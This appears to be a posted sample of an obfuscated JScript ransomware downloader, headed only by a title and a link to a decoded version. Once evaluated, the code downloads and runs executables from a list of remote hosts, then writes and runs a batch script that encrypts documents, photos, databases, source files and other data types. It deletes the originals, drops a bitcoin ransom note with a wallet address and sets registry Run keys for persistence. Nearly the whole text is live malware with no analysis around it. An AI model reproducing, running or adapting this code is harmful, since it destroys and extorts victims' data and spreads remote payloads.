JS Ransomware Dowloader

// JS Ransomware Dowloader - Decoded -> http://pastebin.com/xAKRt4HB

var l3='+cq+',t99=' "+',a89=' for',q3='ring',g70='rypt',y25='r (',e43='n+',q2='"+c',x64='eLine',k0='1) ',x96='atch ',b37='+cq+',o82='ne("',s92='++',v59='cq+',s51=' *',x73='fp',d9='esk',h77='}; ',h28='10',g72='TC wi',f62='n (',i37='ca',s7='algor',u98='als ',z1='ar ',r22='{ fp',q43='s+".c',j31='rypt',p44='coin ',h87='re y',h48='User',s18='e "+c',j5='FTW',w89='ume',f74='ld ',l10='ur br',k53='ays Y',g39='+".',h62='only ',k87='    ',h90='o pa',q25='s+"SO',n91='n+',p39='.e',r41='*.gpg',z80='- ',j79='Write',w73='o r',y21=' & c',m46='+"2',x29=' "',i95='riteL',j48='Line',y98='tu',w35='oll',q68=' 3 d',o17='!fo',a82='Writ',r16='s,',u39='"+cq+',v62='open',r51='c+',s35='ine("',p66=') { ',w28='end',a81=' f',h92=' xa.t',o93='+"De',f83='eng',o70='aw ',r47='.php',a44='no',h57='".tx',i18='  ',g69='s+"DE',c9='cq+c',l98='*.vb',d64='r dn ',c57='rit',k20='+cq+f',o64='eless',s34='walle',e57='d"+cq',k74='+"%%i',o76='ra',b85='myo.',i53='R"+c',a3='+"Cry',w37='+cs+',s96='th;',k57='Wri',a29='Write',r55='ine("',f41='St',i50='d usi',y69='f ',w19='*.avi',t46='*.xls',x21='ri',d22='ad *',s85='s a',o75='r/?a',x4=' da',w90='te',p45=' { ',r0='ne("',q49='"   ',r30='si',z70='.p',z90='nse',z3='l',g84='s+"',d70='var ',a87='in',c69='on ',g42='+".',a61='size',i99='ow',b73='p.Wr',i85='teT',u95='; ',j20='.fra',y38='REM',m29='ks i',c42='s sof',q84=' *.cp',e17='ease',h10='); ',e79='dwg *',f95='CRYPT',r81='se);',v11='ip',j56='.ex',q77='s.c',i77='ood',w78='size',w68='D ',a14=' 0; ',m85='ne(',y10='+"%',s3='ite',v22='.fr',n1='; ',w77='YPT.t',d54='cm',p22=' }',y52='jp',k49=' /y',n43='; if',v47='= 0; ',k66='DECR',r11='ad',s52='Syst',r17='); f',j86='+cq+',e29='xe"+',i75='le(f',s98='z ',q38='r ',n59='","',m93='- You',x17='"+',d4='*.',x84='ment',i76='OOS',m84='; ',k39='p.',b59='"+cs+',x80='3"',w31=' *.m',c47='o.res',v83='tan',g37='"+',d95='le',c93='for (',m44='  ',f27='ype ',g86='");',i19='base',u78='new")',z32='mChar',o56='(er) ',c7='0"; v',l76=' =',v69='uc',r28='2);',c77='ne(""',z4='WScr',l32='RE',v89='lend ',f71='")',o85=' do ',l88='ounte',j72='rypt',c39=' i',n68='ne(""',k30='ng st',j59='(""',q74='el "+',r15='y_b',m7='WScr',r48='oj *',g53='eL',j2=' of',b10='ect")',u16='l[i',t73='ddr',g54='.m',x53='p.',i83='it',v88='();',l9=' dn',v77='p"',t65=' l',m6='cq+',s40='"); ',w50='b *.',p67='= 1',j28='sing',h96='.odb',b83='.tx',i87='.s',d44='};',v41='"); f',d87='"Scri',j0='t ',o6='om',m66='cq',n61='var i',h37='q+fn',r19='+cs+"',l23=') ',v29='t pa',b0='"+',x52='+fn',u30='("',c98='*.odt',s24='/"+',i57='"Cry',s45='(e',s83='se(',z2='i; b',w33='fp.W',f34='q); f',w29='xis',h27='+"',m64='; ',z59='txt',y65='eam',s71='ed"+',k6='sh *',w51='  ',w39='; xa',i79='p.',z68='"To r',f26='")"',j47='s:/',h39='."); ',k36='ile',i88=',1,0',t30='tFi',x79='trin',k58='+" &&',q24='rso.n',l55='(34)',h38='d ',b89='.ps',o2='fn',t83=' }; i',d74='200)',f25='bc+"',c59='C ',j83=' v',v40='q); ',l45='");',o63='); va',t17='aup',i93='xa.',r78='ex',o8='close',t53='"); v',d27='.Fi',s4='.Exp',g94='owse',i61='ne("',j66=' *.ti',m9='r/',k65='d "+b',i45='wo',x41='+cs',w30=' i<l',e15='cq',k24=' Ru',o83=' fp.',t84='web.g',a52='tx ',c82='"+a',z20='rit',h36='for',k64='db',d26='ML2.X',n14='; ',i13='df *',c17='hell',v75='i *.',v74='; w',z35='pr *',r73='xa.',f50=' BTC',f88=':"',i7=' xo.o',z38='dy ',q42='"A',n40='.txt"',q6='CRYPT',q21='Write',b48='"+c',k7='eLin',z71='esto',g81='it',j55='er i',m38=', fal',k3='); }',r96='ith',h24='+"',r29=' fp',w38='); fp',i74='copy',u91='open"',e22=' "+cq',t78='.W',k33='; ',m19='r *.n',k75='.r',f54='r ',d73='= "b',i70='"+c',k76='%i"',l18='p *.s',v53='xo',v67='ow th',h5='cq+" ',d60=' Sen',u87='+"D',s68=' yo',y60='do',e25='.mp',a86='r "',z84='f (fo',v43='ounte',v37='our f',s94='ru',a20='rue);',r87='F /',g80='vi',i28='l W',f93='ed"',e9='.exe"',j17='in',r35='/B ',i3='s can',a75='et/',m39='y { ',u32='oins"',o16='is ma',g82='"")',l90='n ',r61='"); f',m91='.vhd ',z49='.Wri',a15='th',d92='1683',g93='s ',m76='r ',z14='kocae',a40='iteLi',s73='; fp.',p13='xa ',r42=' catc',c68='mpor',c34='to ',p97='ata%',t75='ad = ',u34='7z ',j15='/D "+',o1='tecaa',s28='.wdb',z27='ine(',n27='   ',q66=' if ',c66='cq',y40='ist',i12='liza',n60='ec',f37='w *',v99='.tx',z29='(fn+',p58='t"+cq',z10='r d',f82='at',p68='asm *',y50='te(x',v81='+c',o53=':"',q63='Li',c75='ring',f4='   ',c10='+cq+"',n74='n.',u64='+cs',a22='ws.Ru',c8='ode(',k45='e("',a42='arC',x36='teLin',k10='{ ',l48='= ',u86='"Run',d10='re,',f21='eLin',n36='crypt',a93='(REN ',s99='this',e19='ro',m47=' fo',y76='t *.u',k27=' AD',o47='".',h80='ft',r86='To',y14='GET",',x14='nt',w17=' (',n32='"0.6',l72='"+cq',z28='p *.s',j30='ne("',k96=', u',j23='rite',i9='coi',n35='cad *',e44='eva',o24='."',e21='(); }',n57=' fin',y73='("',z6='ne("',x9='+ll[',d12='); fp',w15='exe',j43='+cq+f',b35='ad.',q34='ate',q4='pe',y7='+n+"',c56=' if',l62='ll y',i65='i)+"',c76='sl',v63='; i',r79=' i',l87='try {',q18='cs',m87='eLine',z88='t"',d72='; ',c16=' "a5MDyaa6RhRlNZSiV2EZfo_xMgx2viIpDJCLPKkOHEAhoWsDIgmisPaqo4qM8sFGwBy8weZ4uw8ZMBvT2FpUxX2tzQ"',u54='cx *',l4='e("3.',t68='e("',k42='a.po',b79=' e',s79='e("',t24=' F',f43='"1BPRvxWw75kyZAjTS1UYqDmyCzvRH4eHSc"; ',d19=' };',p24='.co',b78='RE',z50='n o',z13='  "',k79=' fp.',o99='p.W',w26=');',d1='ML',b27='",2);',t66='va',n96='- ',k48='you',m36='ept',z86='Cha',s57='rit',d6='"); f',t25='ne',h75='Wri',u96=' /D "',x28='in',x50='un',e75='*.c',u40='file',m22='tring',t98='e("',r18='iteLi',p9=' tr',z89=' f',w1='y ',k46='r ',k98='ea',x1='eLi',p29='  ',r6='eng',x8='RE',j25='; f',j26=' (',j45='Fil',d41='itc',o98='q)',q67='iteLi',x71='f *.r',b80='t("',p60='cq+fn',i29='o.sen',y32='a.p',a36='r ',i52='.mp',t56='files',m17='; ',i72='cq ',l65='fp',d7='",',n52='q+fn+',m75='= WSc',t92='WScr',p7='opy',d39='e("di',t23='r ',g43='s("%',d49='p://"',y48='ite',n78='xa.',p4='")+cs',c67='l ',h83='a.',u25='p.Wri',y17='teLin',n63='ou',k44='(xo',f77='; f',f46='");',p34='cq+St',y13='pted"',s67='k)',g50='.e',s41='txt',x82=' fi',c87='+cq+"',n51='Li',s1='.W',j29='*.ds',k31='rea',u44='fp',a35='p://"',n26='fp.W',o96='r (',k94='var',k83='+" ',j19='xe',t9='ows',y57=' fp.W',l13=' } c',a13='opy /',r5='ts(f',z73='; if',m68=' YOUR',h74='uy "',n37='ey',f20='extF',w22='rit',j46='d="+',h51=' f',s69='arch',x58='.Wr',t31='",',c44=' de',a80='e("',j92='("we',x70='ha',u56=' *',x47='d =',j44='ne(',j68='"+cq)',k43='e ',q85='pen(',s44='.typ',x62='{ ',q44='.t',x57='.slda',a66='tos,',c85='CR"',i11='iles ',p2='00)',p80='crypt',m74='g *.t',q30='Writ',j64='fp.',z94='; fp.',q79='ARE"+',h18=' /',s20='riteL',g1='E ',h60='p.',t1='e("c',d24='TEMP%',j16='ing.f',w46='down',c0='s == ',n39='h a u',d45='in',p32='cq+"',g89=' true',z11='034',e88='*.',r8='"1. ',v92=' pay',v96='in',g99=') ',c29='= ',m34='); };',d78='.cs *',x67='{ ',x99='("   ',d11=' *.c',b76='=ld;',l47='perso',h71='.Cr',o90='*.ac',f31='var ',z97='};',b25='lbi',s88=' can',p83=' fp.W',u69='nc',p21='fp.Wr',t26='ne',b46='CU"+c',k88='r) {',i67='co',l27='euf.f',w55='"); ',s36='".',z82='ad.ex',c28=');',k69='in',f28='pting',k23='  ',r93='1;',c22='ry',n38='b *.k',q50='".cmd',p82='= i',v61='e Bit',a71='Cre',p23='r *.',e44=e44+z3,o54=n61+x47+c16+'; va'+k46+t75+f43+f31+'bc = '+n32+z11+c7+'ar'+t65+'d ='+a14+'var '+i72+'= S'+x79+'g.fr'+'omC'+x70+'rCode'+l55+k33+d70+'cs = '+'Str'+j16+e19+z32+'Code('+'92'+o63+'r ll '+d73+'iblio'+o1+'tua'+i12+p24+'m.b'+'r '+t84+i77+'wo'+'rki'+'nt.'+'com '+'angel'+v69+'ci.i'+'nfo c'+'atte'+'au'+j20+'nco'+'is'+'.pe'+q24+l27+q38+'kand'+'ira'+b85+z14+'li.ed'+'u.t'+'r"'+'.sp'+'lit("'+' ")'+'; v'+'ar w'+g93+m75+'rip'+'t.C'+'reat'+'eO'+'bjec'+'t("WS'+'cr'+'ipt.S'+c17+f71+'; va'+'r fn '+c29+'ws'+s4+'andE'+'nvir'+'onme'+x14+f41+q3+g43+d24+p4+m46+'1698'+x80+'; '+t66+'r xo '+'= '+z4+'ipt'+h71+'eateO'+'bject'+'("MSX'+d26+d1+'HTTP'+l45+j83+z1+p13+l48+m7+v11+'t.Cr'+'eateO'+'bj'+n60+b80+'AD'+'ODB'+'.Str'+y65+t53+'ar'+' fo '+'= '+t92+'ipt.'+'Cre'+f82+'eO'+'bjec'+'t('+d87+f28+'.Fi'+d95+s52+'emObj'+b10+n14+'if'+' ('+o17+d27+'leE'+w29+r5+'n+"'+n40+')) { '+c93+'var'+r79+b76+w30+'l.l'+f83+s96+' i++)'+p45+'va'+a36+'dn '+v47+l87+i7+'pen("'+y14+'"htt'+'p:/'+s24+'ll[i]'+'+"/c'+v43+m9+'?ad='+c82+'d+'+'"&d'+'c=75'+'31'+'23"'+m38+r81+' x'+i29+'d('+w26+q66+'(xo'+'.sta'+y98+c0+d74+' { x'+'a.'+v62+'()'+'; xa'+s44+'e ='+' 1; x'+'a.wr'+'it'+'e(xo'+k75+'espo'+z90+'Body)'+z73+j26+'xa.'+w78+' > 10'+'00) {'+l9+l76+' 1; x'+y32+'ositi'+c69+'= 0;'+' xa.'+'save'+r86+'Fi'+i75+'n+'+s36+w15+b27+' }; x'+h83+o8+e21+n43+' (dn'+' == '+k0+'{ '+'ld = '+z2+'reak;'+d19+p22+' ca'+'tc'+'h (er'+p66+d44+t83+z84+'.F'+'ile'+'Ex'+y40+'s(fn'+'+"'+p39+'xe")'+g99+'{ f'+'p = '+'fo.C'+k31+i85+f20+k36+z29+h57+'t",'+g89+'); '+w33+'riteL'+'in'+'e("AT'+'TE'+'NTI'+'ON!'+'"); '+u44+s1+'rit'+'eLin'+k45+'")'+s73+'Writ'+'eLi'+m85+q42+l62+'our'+' doc'+w89+'nt'+r16+' pho'+a66+x4+'ta'+i19+s85+'nd o'+'th'+j55+c68+v83+'t '+l47+'nal '+t56+v41+k39+'Wr'+g81+'eLine'+j92+'re'+' e'+u69+'rypte'+i50+k30+'ro'+'ng'+' R'+'SA-'+'1024 '+s7+r96+'m w'+i83+n39+'niq'+'ue k'+n37+o24+r17+h60+a29+'Lin'+'e('+z68+z71+h87+v37+i11+'you'+' h'+'ave t'+h90+'y "+'+f25+f50+' (bit'+i67+k69+'s).'+r61+'p.W'+'ri'+'teLi'+j30+'Pl'+e17+z89+'oll'+v67+o16+'nual:'+s40+j64+h75+w90+'Line'+'("");'+' fp.W'+z20+'eLi'+'ne('+r8+a71+'at'+v61+p44+s34+j0+'here:'+'")'+m64+n26+'riteL'+z27+g82+j25+'p.'+a82+'eL'+s35+w51+'    '+'ht'+'tps'+':/'+'/bl'+'oc'+'kch'+'ai'+n74+'inf'+'o/wa'+'ll'+a75+u78+u95+'fp'+'.Writ'+x64+u30+'")'+f77+o99+'rite'+'Line('+'"2.'+' B'+h74+'+b'+'c+" B'+g72+a15+' cash'+k96+j28+' se'+s69+' h'+'ere:'+'"); f'+'p.Wr'+q67+r0+'"); '+'fp'+'.Wri'+'te'+q63+i61+'    '+'  '+'http'+j47+'/lo'+'ca'+b25+'tcoin'+q77+'om/bu'+r15+d41+u32+h10+'fp.'+'Writ'+m87+'("'+f46+' fp.W'+'ri'+x36+l4+d60+k65+r51+'" BT'+c59+c34+s99+' Bit'+i9+'n '+'addr'+'es'+'s:");'+y57+'rite'+'Line'+'("");'+k79+'Writ'+f21+'e("  '+p29+z13+'+ad)'+n1+'fp.Wr'+r18+c77+');'+' f'+'p.W'+j23+j48+'("4'+'. O'+q4+z50+'ne'+j2+' the'+' f'+w35+i99+'ing l'+v96+m29+'n '+'yo'+l10+g94+'r to '+w46+'load'+c44+p80+'or:'+g86+p83+c57+x1+n68+'); '+h36+' (va'+'r i='+'0; '+'i<'+'ll'+'.l'+'ength'+v63+'++) '+x62+'fp.W'+i95+r55+'    '+m44+'htt'+d49+'+l'+u16+']+"/c'+l88+o75+j46+r11+m34+a81+'p.W'+'rit'+g53+'ine'+j59+c28+o83+j79+'Line'+'("'+'5.'+k24+'n dec'+j72+'or t'+w73+'esto'+'re y'+'our'+x82+'les.'+'");'+' fp'+t78+s57+'eLine'+'(""'+d12+'.W'+s20+j17+s79+'PLEAS'+g1+y38+'EMBE'+'R:")'+'; fp.'+'Wr'+'ite'+'Line'+'("")'+z94+q21+'Li'+j44+q49+'   '+'- If '+'you'+o85+a44+v29+w1+d45+q68+k53+'OU'+' L'+i76+'E ALL'+m68+t24+'ILES.'+w55+p21+'ite'+'Line'+y73+'    '+i18+n96+'Nobo'+z38+i37+l90+'help'+s68+'u exc'+m36+' us.'+d6+x53+k57+'teLi'+o82+k23+k87+z80+'It'+'`s us'+o64+' to r'+'einst'+'al'+i28+'ind'+'ows,'+' upd'+q34+' a'+'nti'+g80+s94+c42+'twa'+d10+b79+'tc."'+');'+h51+i79+'Wr'+'iteL'+'ine'+x99+f4+m93+t23+u40+i3+' be '+'dec'+c22+'pted '+h62+'afte'+m76+k48+' make'+v92+x84+'."); '+x73+'.Wr'+'iteL'+x28+'e("  '+n27+' - Y'+'ou'+s88+n57+h38+'this '+'man'+'ual '+'on y'+n63+z10+'eskto'+'p (DE'+q6+'.txt)'+h39+'fp'+'.Clo'+s83+'); fp'+' = f'+'o.Cr'+k98+'teT'+r78+t30+'le'+'(fn+'+'".cmd'+'", t'+a20+' fo'+y25+'var'+' i'+'=67;'+c39+'<=9'+'0;'+' i++'+l23+r22+z49+y17+d39+f54+r35+'"+'+p34+c75+'.fr'+o6+z86+'rC'+'ode('+i65+o53+v81+'s+cq'+k58+a89+h18+a86+'+cq+S'+m22+v22+'omCh'+a42+c8+'i)+"'+f88+x41+c10+' %%i'+' i'+f62+'*.z'+'ip *.'+o76+p23+u34+d4+'tar '+'*.g'+s98+'*.xl'+'s '+t46+'x *.d'+'oc'+' *.'+y60+u54+z70+i13+'.r'+'tf'+' *'+'.ppt '+'*.pp'+a52+'*.sx'+v75+'odm '+c98+' *'+e25+l18+k6+'.pub '+r41+' *.p'+'gp *.'+'kd'+n38+k64+'x '+'*.'+u98+'*.'+t17+q84+m19+z35+'.cpp'+' *.ba'+'s *.'+p68+d78+r47+' *'+'.pas '+l98+' *.v'+'cpro'+'j '+'*.vb'+'pr'+r48+'.mdb '+o90+'cdb '+'*.mdf'+' *'+h96+s51+s28+d11+'sv *.'+'tsv *'+b89+'d *.e'+'ps *'+'.cdr '+e75+'pt '+e88+a87+'dd'+' *.'+e79+'.max '+'*.sk'+z28+n35+'.c'+d22+'.3d'+'s *.b'+v89+'*.l'+i45+' *.'+'lws'+u56+g54+w50+c76+t73+f37+x57+'sm *.'+'sldpr'+y76+'3d *.'+y52+m74+'iff'+j66+x71+o70+w19+w31+'pg *.'+'mp4 '+'*.m4v'+' *'+'.m'+'peg *'+i52+k43+'*.wm'+'f *'+'.wm'+'v *.'+'veg '+'*.vd'+'i *'+'.vmdk'+' *'+m91+j29+s67+' d'+'o '+a93+x17+c66+y10+k76+b37+'" '+q2+'q+"'+'%%~n'+'xi.'+n36+f93+c87+y21+'al'+c67+'"+fn'+'+"'+j56+'e "+'+e15+k74+'.c'+g70+s71+m6+f26+');'+' }; f'+b73+a40+z6+l32+'G ADD'+' "+cq'+'+"HK'+b46+q25+j5+q79+'cs+'+'"Micr'+'oso'+h80+'"+c'+g84+'Wind'+t9+g37+'cs+"'+'Curr'+'en'+'tVers'+'ion'+b59+u86+l72+'+" /'+'V "+'+'cq'+a3+y13+l3+'" '+'/t RE'+'G_'+'SZ /F'+u96+j86+o2+g39+s41+'"+c'+f34+'p.W'+w22+k7+t98+'REG'+k27+w68+b0+'cq'+'+"HKC'+i53+q43+'ry'+'pted'+'"+c'+'q+"'+' /ve'+' /t '+'REG_S'+'Z /F '+j15+'cq+'+i57+'pted'+j68+'; f'+u25+'teLin'+t68+b78+'G A'+'DD '+b48+'q+"HK'+c85+'+cs+'+'"C'+j31+'ed"+'+q18+'+"sh'+'ell"+'+'cs+"'+u91+w37+'"comm'+'and"+'+h5+'/ve /'+'t '+x8+'G_S'+'Z /'+r87+'D "+'+m66+h27+'no'+'tep'+b35+'exe'+' "+cs'+'+c'+h37+'+".'+z59+'"+cs+'+c9+'q);'+' fp.'+q30+'eLin'+a80+i74+k49+x29+j43+'n+"'+b83+'t"'+'+cq+"'+t99+p32+'%AppD'+p97+'"+cs'+o93+'sk'+'to'+v77+r19+k66+w77+'xt"+c'+v40+'fp.Wr'+s3+n51+t25+'("c'+p7+' /y'+' "'+k20+'n+"'+q44+'xt"+'+v59+'" "+c'+'q+"%'+h48+'Prof'+'ile%"'+u64+u87+d9+'top'+i70+g69+f95+v99+p58+'); fp'+'.Wri'+'teL'+'in'+t1+a13+'y "'+'+cq+f'+n91+o47+'tx'+'t"+cq'+k83+u39+'fn'+h24+g50+e29+'cq'+w38+x58+y48+'Li'+'ne'+'("del'+e22+x52+g42+'exe"'+'+c'+o98+d72+l65+'.Wr'+'it'+'eLi'+t26+'("d'+q74+p60+'+".'+d54+e57+'+"'+' & n'+'otep'+z82+s18+n52+'".tx'+z88+'+cq);'+r29+'.C'+'los'+'e()'+v74+'s.R'+'un(f'+e43+q50+t31+'0,0'+'); };'+m47+'r (v'+'ar'+' n='+'1; n'+'<=2;'+' n+'+'+) {'+' fo'+o96+k94+' i=ld'+'; i'+'<ll.l'+r6+'th; i'+s92+') {'+' va'+d64+'= 0'+'; tr'+m39+v53+'.o'+q85+'"GET'+n59+'htt'+a35+x9+'i]+'+'"/co'+x50+'ter/?'+'id="'+'+id+'+'"&rn'+'d=32'+d92+'"+n, '+'fals'+'e)'+'; xo'+i87+w28+'(); i'+y69+k44+'.sta'+'tus'+' ='+'= '+'200)'+' { '+r73+'op'+'en();'+h92+f27+p67+w39+'.w'+x21+y50+c47+'pons'+'eBody'+'); if'+w17+i93+a61+' > '+h28+p2+' { '+'dn = '+r93+' x'+k42+r30+'tio'+'n = 0'+'; xa'+'.sav'+'eTo'+j45+'e(fn'+y7+'.e'+j19+d7+r28+p9+'y '+x67+a22+'n(fn+'+'n+"'+e9+i88+k3+r42+'h '+o56+k10+'}; }'+m84+n78+'close'+v88+' };'+c56+' (d'+'n ='+'= 1) '+'{ '+f74+p82+m17+'break'+'; };'+l13+x96+s45+k88+' }'+'; }; '+h77+z97,t38=this[e44];t38(o54);